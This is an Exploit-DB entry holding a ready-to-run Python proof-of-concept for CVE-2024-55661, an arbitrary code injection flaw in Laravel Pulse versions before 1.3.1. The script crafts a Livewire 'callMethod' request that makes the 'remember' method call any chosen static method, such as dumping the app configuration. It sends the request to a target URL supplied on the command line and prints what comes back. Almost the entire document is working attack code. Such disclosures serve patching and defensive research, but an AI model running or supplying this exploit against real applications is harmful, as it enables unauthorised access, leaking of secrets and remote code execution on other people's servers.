Exploit-DB #52319
Description: Laravel Pulse 1.3.1 - Arbitrary Code Injection
Type: webapps
Platform: php
Date: 2025-06-09
Author: Mohammed Idrees Banyamer

Exploit:
#!/usr/bin/env python3
# Exploit Title: Laravel Pulse 1.3.1 - Arbitrary Code Injection
# Author: Mohammed Idrees Banyamer (@banyamer_security)
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-06
# Tested on: Laravel Pulse v1.2.0 / Ubuntu 22.04 / Apache2
# CVE: CVE-2024-55661
# Type: Remote Code Execution (via Arbitrary Code Injection)
# Platform: PHP (Laravel Livewire)
# Author Country: Jordan
# Description: 
#   A vulnerability in Laravel Pulse (< 1.3.1) allows arbitrary code injection via 
#   the `remember()` method in the `RemembersQueries` trait. The attacker can craft
#   a Livewire request to invoke arbitrary callables, enabling data exfiltration or 
#   remote execution if unsafe classes are exposed.

"""
Laravel Pulse < 1.3.1 - Arbitrary Code Injection Exploit (CVE-2024-55661)
Author: Mohammed Idrees Banyamer | PoC

This tool exploits the vulnerability in the `remember()` method in vulnerable versions
of laravel/pulse to trigger arbitrary code execution or sensitive data leakage via Livewire.
"""

import argparse
import requests
import json
import sys
from rich import print
from rich.console import Console

console = Console()

class LaravelPulseExploit:
    def __init__(self, url, component, method, csrf=None, key='exploit', component_id='abcde'):
        self.url = url.rstrip('/')
        self.component = component
        self.method = method
        self.csrf = csrf
        self.key = key
        self.component_id = component_id
        self.headers = {
            "Content-Type": "application/json",
            "X-Livewire": "true",
            "Accept": "application/json"
        }

        if csrf:
            self.headers["X-CSRF-TOKEN"] = csrf

    def build_payload(self):
        return {
            "type": "callMethod",
            "method": "remember",
            "params": [self.method, self.key],
            "id": self.component_id,
            "name": self.component
        }

    def send(self):
        full_url = f"{self.url}/livewire/message/{self.component}"
        payload = self.build_payload()

        console.print(f"[bold cyan][*] Sending exploit to:[/bold cyan] {full_url}")
        try:
            response = requests.post(full_url, headers=self.headers, json=payload, timeout=10)
        except requests.exceptions.RequestException as e:
            console.print(f"[bold red][-] Request failed:[/bold red] {str(e)}")
            sys.exit(1)

        self.display_response(response)

    def display_response(self, response):
        console.print(f"\n[bold green][+] Status Code:[/bold green] {response.status_code}")
        if response.status_code == 200:
            try:
                data = response.json()
                pretty_data = json.dumps(data, indent=4, ensure_ascii=False)
                console.print(f"[bold yellow]\n[+] Response JSON:[/bold yellow]\n{pretty_data}")
            except json.JSONDecodeError:
                console.print(f"[bold red][-] Failed to decode JSON:[/bold red]\n{response.text}")
        else:
            console.print(f"[bold red][-] Unexpected response:[/bold red] {response.text}")


def parse_arguments():
    parser = argparse.ArgumentParser(
        description="Exploit Laravel Pulse (<1.3.1) Arbitrary Code Injection (CVE-2024-55661)"
    )
    parser.add_argument("-u", "--url", required=True, help="Base URL of the Laravel app (e.g. http://example.com)")
    parser.add_argument("-c", "--component", required=True, help="Livewire component name (e.g. ConfigComponent)")
    parser.add_argument("-m", "--method", required=True, help="Static method to call (e.g. \\Illuminate\\Support\\Facades\\Config::all)")
    parser.add_argument("-k", "--key", default="exploit", help="Cache key (default: exploit)")
    parser.add_argument("--csrf", help="Optional CSRF token header")
    parser.add_argument("--id", default="abcde", help="Component ID (default: abcde)")
    return parser.parse_args()


def banner():
    console.print("""
[bold red]
 ____                       _                        
| __ )  __ _ _ __  _   _   / \   _ __ ___   ___ _ __ 
|  _ \ / _` | '_ \| | | | / _ \ | '_ ` _ \ / _ \ '__|
| |_) | (_| | | | | |_| |/ ___ \| | | | | |  __/ |   
|____/ \__,_|_| |_|\__, /_/   \_\_| |_| |_|\___|_|   
                   |___/                                                                                 
[/bold red]
    [bold white]Laravel Pulse < 1.3.1 Arbitrary Code Injection (CVE-2024-55661)[/bold white]
         [blue]Author:[/blue] Mohammed Idrees Banyamer | [green]Poc[/green]
    """)


if __name__ == "__main__":
    banner()
    args = parse_arguments()

    exploit = LaravelPulseExploit(
        url=args.url,
        component=args.component,
        method=args.method,
        csrf=args.csrf,
        key=args.key,
        component_id=args.id
    )

    exploit.send()